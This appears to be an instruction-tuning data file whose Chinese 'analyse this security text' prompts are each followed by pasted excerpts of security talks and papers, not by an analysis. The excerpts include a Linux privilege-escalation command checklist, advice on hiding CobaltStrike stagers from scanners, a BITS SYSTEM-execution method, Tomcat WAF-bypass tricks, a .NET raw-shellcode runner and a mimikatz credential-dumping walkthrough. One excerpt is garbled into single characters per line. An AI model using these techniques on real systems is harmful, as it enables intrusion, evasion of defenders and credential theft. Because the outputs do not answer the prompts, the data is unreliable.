另一个用户。在这种情况下，两个用户都是通用的，而在垂直方式中，我
们将特权从普通用户提升为管理员
简单来说就是
即用户无法访问（读取/写入/执行）不允许访问的文件。但是，超级用户
（root）可以访问系统上存在的所有文件。 为了更改任何重要的配置或进
行进一步的攻击，首先，我们需要在任何基于Linux的系统上获得root用户
访问权限
为什么我们需要执行特权升级？
读/写任何敏感文件
重新启动之间轻松保持
插入永久后门
特权升级所使用的技术
我们假设现在我们在远程系统上有外壳。根据我们渗透进去的方式，我们
可能没有“ root”特权。以下提到的技术可用于获取系统上的“ root”访问权
限。
内核漏洞
以root身份运行的程序
已安装的软件
弱密码/重用密码/纯文本密码
内部服务
Suid配置错误
滥用sudo权利
由root调用的可写脚本
路径配置错误
Cronjobs
卸载的文件系统
信息收集是关键。
（Linux）特权提升的TIps：
信息信息，更多的信息收集，信息收集是整个渗透测试过程的
整理信息，分析收集的信息和整理信息。
搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。
修改代码- 修改漏洞利用程序，使其适合目前的渗透。并非每种漏洞都能
为“现成”的每个系统工作。漏洞看环境
尝试攻击- 为（很多）尝试和错误做好准备。
操作系统
什么是发行类型？什么版本的？
什么是内核版本？是64位吗？
从环境变量中可以收集到什么信息？环境变量中可能存在密码或API密钥
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
cat /proc/version
uname -a uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
cat /etc/profile
cat /etc/bashrc
1
2
3
4
1
2
3
4
5
1
2
路径（Path)
如果您对该变量内的任何文件夹都具有写权限，则可以劫持某些库或二进制
文件：PATH
echo $ PATH
有打印机吗？
应用与服务
哪些服务正在运行？哪个服务具有哪个用户特权？
root正在运行哪些服务？在这些易受攻击的服务中，值得仔细检查！
安装了哪些应用程序？他们是什么版本的？他们目前在运行吗？
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env set
lpstat -a
ps aux
ps -ef top
cat /etc/services
ps aux | grep root ps -ef | grep root
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
3
4
5
6
1
1
2
3
1
1
2...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

David Rook
The Security Risks of Web 2.0
DefCon 17, Las Vegas
Agenda
• A quick Web 2.0 definition
• The differences between Web 1.0 and Web 2.0
• Common Web 2.0 security vulnerabilities
• The differences between Web 1.0 and Web 2.0 vulnerabilities
• Security analysis difficulties with Web 2.0
• How to prevent these vulnerabilities
if (slide == introduction)
System.out.println(“I’m David Rook”);
• Security Analyst, Realex Payments, Ireland
CISSP, CISA, GCIH and many other acronyms
• Security Ninja (www.securityninja.co.uk)
• Secure Development (www.securedevelopment.co.uk)
• OWASP contributor and presenter
• IIA Web Development Working Group
• Facebook hacker and published security author (insecure
magazine, bloginfosec etc)
About this Presentation
• What this presentation isn’t
– A technical discussion about Web 2.0
technologies/architectures
– No 0 days, new attacks or new vulnerabilities
– Just a discussion about XSS and SQL Injection
• What this presentation is:
– A look at Web 2.0 app vulnerabilities
– How they differ (or not) from Web 1.0
– How to prevent them
A quick Web 2.0 definition
• “Web 2.0 is the business revolution in the computer industry
caused by the move to the internet as a platform, and an
attempt to understand the rules for success on that new
platform. Chief among those rules is this: Build applications
that harness network effects to get better the more people
use them”
Tim O’Reilly - 2006
Rapid
proliferation
of content
RSS
Atom
Everything
can go online
now
Google Docs
eyeOS
Architecture
of
participation
Soc Nets
Youtube
Writes data
to local
databases
Gears
HTML 5
User
generated
content
Offline
storage of
data and
state
Desktop
look and
feel
Syndication
of content
Key points about Web 2.0
Differences between Web 1.0 and 2.0
Category
Web 1.0
Web 2.0
Functionality/Content
Reading Content
Creating Content
Personal Websites
Blogs and profiles
Under Construction Sign
BETA
Technologies
HTML, HTTP, HTTPS
AJAX, JSON, SOAP, RES...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Routing in The Dark
Scalable Searches in Dark P2P Networks
Ian Clarke and Oskar Sandberg
The Freenet Project
Ian Clarke & Oskar Sandberg - 2005 – p.1/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
• The big question is: Can such networks be
useful?
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to ﬁnd information
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to ﬁnd information
• Some are centralised (eg. Napster), some are
semi- centralised (eg. Kazaa), others are
distributed (eg. Freenet)
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
The Small World Phenomenon
• In "Small world" networks short paths exist
between any two peers
Ian Clarke & Oskar Sandberg - 2005 – p.4/33
The Small World Phenomenon
• In "Small world" networks short paths ex...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CCD CoE · February 9, 2011
Sun Tzu and Cyber War
Kenneth Geers
Naval Criminal Investigative Service (NCIS)
Cooperative Cyber Defence Centre of Excellence (CCD COE)
Tallinn, Estonia
Abstract
Cyberspace is a new warfare domain. Computers and the in-
formation they contain are prizes to be won during any military
conflict. But the intangible nature of cyberspace can make vic-
tory, defeat, and battle damage difficult to calculate. Military
leaders today are looking for a way to understand and manage
this new threat to national security. The most influential mili-
tary treatise in history is Sun Tzu‟s Art of War: its recommen-
dations are flexible and have been adapted to new circumstanc-
es for over 2,500 years. This article examines whether Art of
War is flexible enough to encompass cyber warfare. It con-
cludes that Sun Tzu provides a useful but far from perfect
framework for the management of cyber war, and urges modern
military strategists to consider the distinctive aspects of the
cyber battlefield.
What is Cyber Warfare?
The Internet, in a technical sense, is merely a large collection of networked
computers. Humans, however, have grown dependent on „cyberspace‟: the
flow of information and ideas that they receive from the Internet on a continu-
al basis, and immediately incorporate into their lives. As our dependence upon
the Internet grows, what hackers think of as their potential „attack surface‟
expands. The governance of national security and international conflict is no
different: political and military adversaries now routinely use and abuse com-
puters in support of strategic and tactical objectives. In the early 1980s, Soviet
thinkers referred to this as the Military Technological Revolution (MTR); fol-
CCD CoE · February 9, 2011
lowing the 1991 Gulf War, the Pentagon‟s Revolution in Mil-
itary Affairs (RMA) was practically a household term (Mish-
ra, 2003).
Cyber attacks first and foremost exploit the power and
reach of the Inter...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Network Mathematics - Why is it a Small World?
Oskar Sandberg
1
Networks
Formally, a network is a collection of points and
connections between them.
2
Networks
Formally, a network is a collection of points and
connections between them.
This is an abstraction which can be used to
describe a lot of different systems (technical,
physical, biological, sociological, etc. etc.).
2
Networks
Math
Graph
Vertex
Edge
CS
Network
Node
Link
Physics
System
Site
Bond
Sociology
Social Network
Actor
Tie
Individual
Friendship
WWW
Webpage
Link (d)
Internet
Site
Connection
Network
Bridge
Road System
Crossing
Road
3
Deﬁnition and Types
G = (V,E)
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
Somewhere in between: The Internet, P2P
Networks.
4
Network Mathematics
The questions depend on the type of network.
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
When studying randomly generated networks
questions tend to analyti...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

关于CobaltStrike的Stager被扫问题
随着CobaltStrike（下文简称CS）的广泛应用，各种检测脚本和空间测绘扫描系统都盯上了CS，作为夹
缝中求存的公鸡队（红队），不得不反击一波。
下面是检测的手法和相关文章，还不清楚的兄弟可以阅读下：
https://github.com/whickey-r7/grab_beacon_config
https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
这个检测手法其实不是什么秘密，我们看下代码
很清晰，很明白，我解释一下，就是请求stager的时候只要符合以上规则的url就可以成功请求到stager
的代码。
公鸡队的兄弟们，对抗的方法有2种：
方法1：修改WebServer.class中的此次函数校验的值，不要是92、93，改个其他值，识别脚本就搞不出
来了。
方法2：kill掉如图所示的stager就行了。
在我把以上2个方法发了朋友圈以后，有一些同学提出了不同方法和不足：
杠A：修改C2profile中的stager url。
答：这样是不行的
杠B：反向代理
答：是可以的，但是都需要结合其他相对负责的各种配置来限制访问
杠C：如果只修改校验值，由于算方法限制校验值有大小限制，也就是枚举256次就枚举出来。
答：是这样的，方法1，确实有这样的问题;建议使用方法2
杠D：删除了stager监听，那分阶段就不能上线了，和修改host_stage配置有什么区别
答：方法2就是为了灵活处理，要用的时候开启，不用的时候关闭。关闭方法已经说了，怎么再开启呢？
答案是在Listeners中选择监听点编辑，不用修改，再保存，然后就又开启了。
最后，我要说用方法2的原因是简单方便。在搞小活动的时候用简单的方法最高效。不要和我杠各种前
置，搞大活动肯定是需要基础设施部署的，小活动我认为搞那么大动静并不高效。
补充下《关于CobaltStrike的Stager被扫问题》的问题。在星球有个小伙伴说他kill了还是能使用
stager，我去测试发现真的是，前提是你使用了c2profile，在里面配置了stager相关的url和配置，当你
kill掉sites中的监听，可以防止被扫描，但是还不影响c2profile中的配置，我感觉现在就完美了，在
c2profile中配置好stager自定义的url，然后kill掉sites中默认的stager监听，即防止了被扫也不妨碍分阶
段的使用。完美！


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BITSInject
Using the BITS service to execute a program in the
“NT AUTHORITY/SYSTEM” session.
Summary
BITS Background
Details
How We Got There - Research Flow
First Naive Try
Taking Inspiration From Windows Update Service (wuaueng)
Imitating Wuaueng
The State File is the Supervisor
Interactive or not?
Migrate your Payload
A Cleaner Method
A Little Anecdote
Reproduction Instructions
General Reproduction Description
Step-by-step Reproduction instructions
Affected Environment Details
Summary
We formed a logical manipulation on BITS’s permissions validation model. As a local
administrator, we were able to take almost full control of the BITS jobs queue, altering jobs’
properties and states, ultimately achieving program execution in the LocalSystem account
(NT AUTHORITY/SYSTEM), within session 0.
It does not involve creating a new service, nor modifying any of the OS’s PE files.
We introduce a new method in which a local administrator account can execute a program in
the NT AUTHORITY/SYSTEM context. The method relies on BITS NotifyCmdLine option, by
injecting a job to the service queue. Execution can be either interactive  or not.
1
In this article, we would like to not only introduce the practical method, but also:
●
Present a detailed explanation of the binary structure of the BITS DB file (from now on,
we will use the internal name - “state file”)
●
Share the knowledge we gathered while researching the service operation flow
●
Provide free giveaways:
○
A one-click python script that executes a program as LocalSystem using this new
technique
○
A generic python script that injects any pre-produced job into the current queue
○
An 010 editor template file with the types and structs definitions, which can be
used to parse BITS files.
○
SimpleBITSServer - a Python implementation of a BITS server, based on
Python’s SimpleHTTPRequestHandler.
1An interactive program will dispatch the “Interactive Services Detection” message (...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

探寻Tomcat⽂件上传流量层⾯绕waf新姿
势
探寻Tomcat⽂件上传流量层⾯绕waf新姿势
写在前⾯
Pre
前置
深⼊
变形 更新2022-06-20
扩⼤利⽤⾯
更新Spring 2022-06-20
Spring4
Spring5
参考⽂章
写在前⾯
⽆意中看到ch1ng师傅的⽂章觉得很有趣，不得不感叹师傅太厉害了，但我⼀看那长篇的函
数总觉得会有更骚的东西，所幸还真的有，借此机会就发出来⼀探究竟，同时也不得不感慨
下RFC⽂档的妙处，当然本⽂针对的技术也仅仅只是在流量层⾯上waf的绕过
Pre
很神奇对吧，当然这不是终点,接下来我们就来⼀探究竟
前置
这⾥简单说⼀下师傅的思路
部署与处理上传war的servlet是 org.apache.catalina.manager.HTMLManagerServlet
在⽂件上传时最终会通过处
理 org.apache.catalina.manager.HTMLManagerServlet#upload
调⽤的是其⼦类实现
类 org.apache.catalina.core.ApplicationPart#getSubmittedFileName
这⾥获取filename的时候的处理很有趣
看到这段注释，发现在RFC 6266⽂档当中也提出这点
Avoid including the "\" character in the quoted-string form of the
filename parameter, as escaping is not implemented by some user agents,
and "\" can be considered an illegal path character.
那么我们的tomcat是如何处理的嘞？这⾥它通过函数 HttpParser.unquote 去进⾏处理
简单做个总结如果⾸位是 " (前提条件是⾥⾯有 \ 字符)，那么就会去掉跳过从第⼆个字符开
始，并且末尾也会往前移动⼀位，同时会忽略字符 \ ，师傅只提到了类似 test.\war 这样的
例⼦
但其实根据这个我们还可以进⼀步构造⼀些看着⽐较恶⼼的⽐如 filename=""y\4.\w\arK"
public static String unquote(String input) {
        if (input == null || input.length() < 2) {
            return input;
        }
        int start;
        int end;
        // Skip surrounding quotes if there are any
        if (input.charAt(0) == '"') {
            start = 1;
            end = input.length() - 1;
        } else {
            start = 0;
            end = input.length();
        }
        StringBuilder result = new StringBuilder();
        for (int i = start ; i < end; i++) {
            char c = input.charAt(i);
            if (input.charAt(i) == '\\') {
                i++;
                result.append(input.charAt(i));
            } else {
                result.append(c);
            }
        }
        return result.toString();
    }
深⼊
还是在 org.apache.catalina.core.ApplicationPart#getSubmittedFileName 当中，
⼀看到这个将字符串转换成map的操作总觉得⾥⾯会有更骚的东西(这⾥先是解析传⼊的参数
再获取，如果解析过程有利⽤点那么也会影响到后⾯参数获取)，不扯远继续回到正题
⾸先它会获取header参数 Content-Disposition 当中的值，如果以 form-data 或
者 attachment 开头就会进⾏我们的解析操作，跟进去⼀看果不其然，看
到 RFC2231Utility 瞬间不困了
后⾯这...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Dirty Little Secrets of
Information Security
Why we might not be doing as well as you would hope.
Bruce Potter (gdead@shmoo.com)
1
Don’t Believe Anything I Say
• “Every person who has mastered a profession is a skeptic
concerning it.” - George Bernard Shaw
• “Authority has every reason to fear the skeptic, for authority
can rarely survive in the face of doubt” - Robert Lindner
• Security is all about not trusting what you are hearing,
seeing, or being sent to you
• As true in meatspace as in teh tubes
• By Day, Senior Associate for Booz Allen Hamilton
• Wireless Security, application assurance, information
security strategy
• By Night, Founder of The Shmoo Group
2
What’s happening here?
• The goal of this talk is to call out some of the 800lbs
gorillas in the room
• The security industry is riddled with them, and
sometimes they’re called out in non-productive ways
• I’d like to address them head on... and actually do
something useful with our jobs
• NOTE: Much of what is in this presentation you will
probably disagree with.  Also, much of what is in this
presentation is my opinion and analysis based on what
can loosely be called “research.”  Feel free to throw
stones.
3
Let’s have some structure to our discussion
IDS
Patch Mgt
Policies & Procedures
Firewalls
AAA Services
Software
ACLs
Software Sec
Honey
pots
Sophistication and Operational Cost
Operations (IT)
Network
Software
Operations (Security)
Academic / Emerging
4
What gave birth to the 800lbz Gorillaz?
• The security community as evolved dramatically
over the last several decades
• Initially a small group of computer scientists in
the 60’s ran a small, academic group of
computers
1960
1970
1980
1990
2000
Unix
Developed
Tubes!
Computers
with Tubes!
ARPANet
starts
5
What gave birth to the 800lbz Gorillaz?
• Things got serious in the 70’s
• Telnet was introduced
• A great deal of research on trusted systems was
performed
• Blueboxing was born
1960
1970
1980
1990
2000
Unix
Developed
Tubes!
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

!

"

#
$
%

&
'
(
(
#
%
)
%
*
*
+
,
-
.
/
0
1
.
2
,
3
-
0
/
0
4
5
2
.
6
7
0
8
-
,
5
8
,
7
0
8
6
5
1
.
9
,
4
2
.
,
/
0
3
8
-
0
:
.
2
.
7
-
9
0
8
5
7
.
;
3
5
<
=
/
.
8
-
7
0
/
<
,
9
.
1
>
5
-
?
@
.
?
5
7
2
.
6
5
8
-
?
.
<
,
6
-
A
B
2
-
?
0
3
C
?
6
0
/
.
0
:
-
?
.
6
.
.
2
.
7
-
9
0
8
5
7
1
.
@
5
7
.
6
,
9
.
3
6
.
9
@
5
6
5
4
2
.
,
<
<
2
5
,
8
7
.
6
D
6
3
7
?
,
6
.
8
-
.
9
-
,
5
8
/
.
8
-
,
8
1
8
,
@
5
C
,
-
5
0
8
6
E
6
=
-
.
/
6
D
/
,
8
E
,
9
.
1
.
@
5
7
.
6
3
8
1
.
9
-
?
.
?
0
0
1
5
8
7
2
3
1
5
8
C
7
0
8
-
9
0
2
2
.
9
6
:
0
9
:
3
.
2
5
8
F
.
7
-
5
0
8
D
,
8
-
5
=
2
0
7
G
4
9
,
G
.
6
D
,
8
1
,
5
9
4
,
C
6
A
H
?
.
8
3
/
4
.
9
0
:
1
.
@
5
7
.
6
3
6
.
1
D
,
6
>
.
2
2
,
6
-
?
.
6
0
=
<
?
5
6
-
5
7
,
-
5
0
8
D
@
.
9
6
,
-
5
2
5
-
E
D
,
8
1
<
9
0
C
9
,
/
/
,
4
5
2
5
-
E
0
:
-
?
.
1
.
@
5
7
.
6
5
6
7
0
8
-
5
8
3
,
2
2
E
5
8
=
7
9
.
,
6
5
8
C
A
I
0
-
6
3
9
<
9
5
6
5
8
C
2
E
D
-
?
.
6
.
1
.
@
5
7
.
6
,
9
.
,
2
6
0
8
.
-
>
0
9
G
.
1
D
,
2
2
0
>
5
8
C
-
?
.
/
-
0
7
0
/
/
3
8
5
7
,
-
.
>
5
-
?
.
,
7
?
0
-
?
.
9
,
8
1
>
5
-
?
,
1
1
5
-
5
0
8
,
2
.
;
3
5
<
/
.
8
-
0
3
-
6
5
1
.
-
?
.
@
.
?
5
7
2
.
:
0
9
1
5
,
C
8
0
6
-
5
7
6
,
8
1
7
0
8
J
C
3
9
,
-
5
0
8
A
B
3
-
0
/
0
-
5
@
.
.
2
.
7
-
9
0
8
5
7
1
.
@
5
7
.
6
.
8
,
4
2
.
-
?
.
2
0
C
C
5
8
C
0
:
@
.
?
5
7
2
.
6
.
8
6
0
9
1
,
-
,
D
<
,
9
=
-
5
7
3
2
,
9
2
E
5
8
-
?
.
.
@
.
8
-
0
:
,
8
,
7
7
5
1
.
8
-
0
9
,
8
.
,
9
/
5
6
6
A
+
5
-
-
2
.
5
8
:
0
9
/
,
-
5
0
8
,
4
0
3
-
-
?
.
6
.
2
0
C
C
5
8
C
1
.
@
5
7
.
6
5
6
9
.
,
1
5
2
E
,
@
,
5
2
,
4
2
.
D
4
.
7
,
3
6
.
-
?
0
6
.
>
5
-
?
-
?
.
5
8
:
0
9
/
,
-
5
0
8
K
@
.
?
5
7
2
.
,
8
1
,
:
-
.
9
/
,
9
G
.
-
-
0
0
2
/
,
8
3
:
,
7
-
3
9
.
9
6
L
,
9
.
/
,
G
5
8
C
,
8
.
M
0
9
-
-
0
G
.
.
<
-
?
.
5
8
:
0
9
/
,
-
5
0
8
1
5
N
7
3
2
-
:
0
9
-
?
.
<
3
4
2
5
7
-
0
0
4
-
,
5
8
A
KO
>
,
6
<
.
9
6
0
8
,
2
2
E
1
.
8
5
.
1
/
.
/
4
.
9
=
6
?
5
<
5
8
-
?
.
0
8
2
E
1
5
6
7
3
6
6
5
0
8
C
9
0
3
<
O
,
/
,
>
,
9
.
0
:
0
8
-
?
5
6
6
3
4
F
.
7
-
4
.
7
,
3
6
.
O
,
/
8
0
-
2
,
>
.
8
:
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ASM in .NET: The old is new again
by Jon McCoy(DigitalBodyGuard)
Abstract:
This paper will cover running raw Machine Code(ASM) from within .NET. As we all know .NET runs
on IL(Intermediate Language) also known as “Managed byte code”. A program can declare an unsafe
section of code and drop out from the managed area to run something like unmanaged C++ or the like.
This paper will show how to run raw/unmanaged ASM in a normal safe C# application.
The Basics of running ASM under .NET:
To run ASM code just make a pointer to your target byte code. The execution point will jump you to
the byte code and start executing, no unsafe keyword needed. This method currently requires one call
to unmanaged code to allocate memory in code space.
The sequence is as follows:
➢ Create an allocated space for the ASM byte code
➢ Copy the byte code into the allocated space
➢ Turn the pointer into a Delegate
➢ Run the Delegate
➢ Free up the space
// make some space for the byte code in code space, so it can be ran
IntPtr pointer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)_ASM_Code.Length), AllocationType.COMMIT |
    AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE);
// copy the ASM code into memory(code memory)
System.Runtime.InteropServices.Marshal.Copy(_ASM_Code, 0, pointer, _ASM_Code.Length);
// build the function pointer to the ASM code(x64)!!!!!!!!!!
funPointer ASM_Function =
    (funPointer)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pointer, typeof(funPointer));
// Run the ASM code
ASM_Function();
// free up the ASM code in mem:)
VirtualFree(pointer, 0, 0x8000);
Complete Class code below
This method requires access to VirtualAlloc/VirtualFree from kernel32.dll. This call into kernal32 is
possible to block by revoking access to calling unmanaged resources and will only work in windows.
The ability to run ASM under .NET with the code I supply can be stopped by removing the ability to
call unmannaged assemblies. At the end of this paper, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Exploiting Windows
Exploit Mitigation
for ROP Exploits
Omer Yair
DEF CON 27
• Omer Yair
• TDAD Endpoint Team Lead at Symantec
• Speaker at DerbyCon, Virus Bulletin, Zero Nights
• Photography BFA Graduate
• Exhibited at multiple exhibitions
• Photo book in the makings
• @yair_omer
Who Am I?
Vote Sloth by Grant Shepley
“A concept is a brick. It can be used
to build a courthouse of reason. Or
it can be thrown through the
window.”
Gilles Deleuze
Return Oriented Programming 101
Windows Exploit Mitigations
and how to abuse them
ROP Mitigations
and how to bypass them
Demo
Agenda
Return Oriented Programming - Timeline
Smashing
The Stack
For Fun And
Profit
1996
Smashing the Stack
For Fun And Profit
Aleph One (Elias Levy)
1996
Street fight against British soldiers, Northern Ireland.
Bruno Barbey, 1971
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x22002200
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00110011
0x22002200
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hackers Hiring Hackers: How to
Do Things Better
Tottenkoph
IrishMASMS
Disclaimer
This presentation is intended for the attendees and may contain information that is
privileged or unsuitable for overly sensitive persons with low self-esteem, no sense of
humour, or irrational religious/political beliefs. Those of you with an overwhelming
fear of the unknown will be gratified to learn that there is no intended hidden
message revealed by reading this warning backwards, so just ignore that alert notice
from Microsoft. However, by pouring a complete circle of salt around yourself and
your computer, you can ensure that no harm will befall you or your pets. Your mileage
& satisfaction may vary, not all warranties apply during all time frames. Confirm these
statements with your management before approval & implementation.
No individuals or equipment were harmed while producing this presentation, but it
was created with recycled electrons. No animals were harmed in the transmission of
this document, although if the raccoons keep getting into the trash I may have to do
something about it. No individual, organization, or entity can be held liable or be
quoted without written consent of the presenters.
I speak for no one, no one speaks for me.
Who & What are we?
Who & What are you?
● Human
● Potentially a hiring manager
● Hacker with little to no work experience in
the field
● Hacker with experience looking for their next
opportunity
Why are we talking about this at
DEFCON?
● Lots of talks about how to be a better pen tester and
how to use all of the cool new tools, but only a few talks
that address what some of us consider to be the hardest
part of getting a job in InfoSec: the hiring process.
● We desperately need people with the technical skills
hackers have
● Both sides of the table are doing horribly when it comes
to hiring and interviewing for work.
Why are we talking about this at
DEFCON?
This talk takes our experiences (and that of others in the ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-Mimikatz源码调试
前期准备
mimikatz源码：地址
调试环境： vs2019
几点设置：
1. 因为官方项目没有debug方案，所以需要手动添加debug配置
2. 项目属性配置
程序入口
调试以 privilege::debug 为例。打开调试-> mimikatz 调试属性->配置属性->调试->命令参数
wmain()是 mimikatz`的入口函数。
命令分发
从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数。
这里首先有一个 kull_m_file_fullPath 方法，然后进行匹配，暂时不知道具体作用是什么，之
后进入 mimikatz_doLocal() 方法。
命令执行
在对命令进行请求分发之后获取到 module 和 commond 两个参数，之后就进入了命令执行的阶段，
这个地方涉及到结构体的知识。
首先 mimikatz_modules[] 是一个数组，数组里面存放的是每一个模块的结构体的指针。那么第
210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较，如果相同，返回0。
结构体的结构在 kuhl_m.h 这个头文件中进行定义。
之后第213和214两行相同的方式去寻找同一个模块下存在的 command ，每个模块都预先定义一个
数组，存放全部的可执行方法的信息。
最重要的就是第215行， status = mimikatz_modules[indexModule]-
>commands[indexCommand].pCommand(argc - 1, argv + 1); ，执行这个模块和命令。
mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了
kuhl_m_c_privilege[] 这个数组的第一个元素，然后这个 const KUHL_M_C
kuhl_m_c_privilege[] 数组，是一个结构体数组，这个第一项表示的是一个 指针函数 ，那后面
的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数。
可以看到的是对于 privilege::debug 这个功能，执行的函数是
kuhl_m_privilege_simple() ，而最后调用的系统API是 RtlAdjustPrivilege() 。
至此，整个简单的流程分析已经结束了，关于 mimikatz 的请求流程，和命令分发已经了解清楚
了。
S-Mimikatz_msv模块
NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
   ULONG previousState;
   NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);
   if(NT_SUCCESS(status))
      kprintf(L"Privilege \'%u\' OK\n", privId);
   else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
   return status;
}
模块介绍
在 mimikatz 中 msv 模块的作用是枚举 LM 和 NTLM 凭证， KUHL_M_C 结构体中的描述是 Lists LM
& NTLM credentials ，根据之前分析的命令分发过程， sekurlsa::msv 最终通过函数指针调用
函数 kuhl_m_sekurlsa_msv()
函数文件位置 kuhl_m_seckurlsa_msv1_0.c
结构体 KUHL_M_SEKURLSA_PACKAGE ，此处可以看到 ModuleName 的值设置为 lsasrv.dll ，这个
也是抓取 NTML 的重点模块。
KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package = {L"msv",
kuhl_m_sekurlsa_enum_logon_callback_msv, TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0,
0, NULL}, FALSE, FALSE}};
const PKUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_single_package[] =
{&kuhl_m_sekurlsa_msv_pac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

I‘m on Your Phone, Listening –
Attacking VoIP Configuration
Interfaces
Stephan Huber | Fraunhofer SIT, Germany
Philipp Roskosch | Fraunhofer SIT, Germany
About us
Stephan
 Security Researcher @Testlab
Mobile Security (Fraunhofer SIT)
 Code Analysis Tool development
 IOT Stuff
 Founder of @TeamSIK
2
About us
Philipp
 Security Researcher & Pentester
@Secure Software Engineering
(Fraunhofer SIT)
 Static Code Analysis
 IoT Vuln Detection Research
 Day 1 Member of @TeamSIK
3
 TODO
4
Alexander Traud
Acknowledgements
Beer Announcement
5
Past Projects
6
Def Con 26: Tracker Apps
DeF Con 25: Password Manager Apps
Def Con 24: Anti Virus Apps
Blackhat EU 2015: BAAS Security
https://team-sik.org
What’s next?
7
 Wide distribution
 Complex software
 Readily accessible
The Target Devices
8
Perfect World
9
Internet
Guest Network
Workstation Network
VoIP Phone Network
Real World
10
Internet
Network
VoIP Phones
Guests
Workstations
Publicly reachable!
Agenda
11
 Background
 IoT Hacking 101
 Findings
 DOS, Weak Crypto, XSS, CSRF
 Command Injection
 Authentication Bypass
 Memory Corruption
 Recommendations
